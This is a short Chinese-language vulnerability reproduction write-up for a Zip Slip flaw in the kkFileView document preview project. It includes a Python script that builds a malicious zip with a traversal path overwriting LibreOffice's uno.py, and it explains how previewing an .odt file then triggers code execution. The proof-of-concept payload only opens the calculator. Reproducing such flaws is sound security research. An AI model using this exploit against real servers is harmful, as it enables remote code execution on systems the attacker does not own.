kkFileView是一个基于spring boot搭建的文档在线预览项目。
kkFileView的上传功能在处理压缩包时,没有对获取的文件名进行校验,导致出现了Zip Slip漏洞。
影响版本:v4.2.1~v4.2.0,v4.3.0~v4.40
漏洞复现
先下载存在漏洞的版本https://github.com/kekingcn/kkFileView/tree/v4.2.1
导入idea,构建运行,maven要换源或者挂代理,不然太慢
构造恶意zip包:
import zipfile
def main():
try:
binary1 = b'1ue'
binary2 = b'import os\r\nos.system(\'calc\')'
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../libreoffice/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
if __name__ == "__main__":
main()
上传zip包并预览,由于在cn.keking.service.CompressFileReader
中解压后写文件时没有对文件名进行校验,直接拼接到了解压目录上导致目录穿越:
此时zip包解压出的uno.py会追加到原本系统uno.py的末尾
在预览odt文件时会转为pdf,此时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件执行解压出的payload
上传一个后缀为odt的文件,预览执行paylaod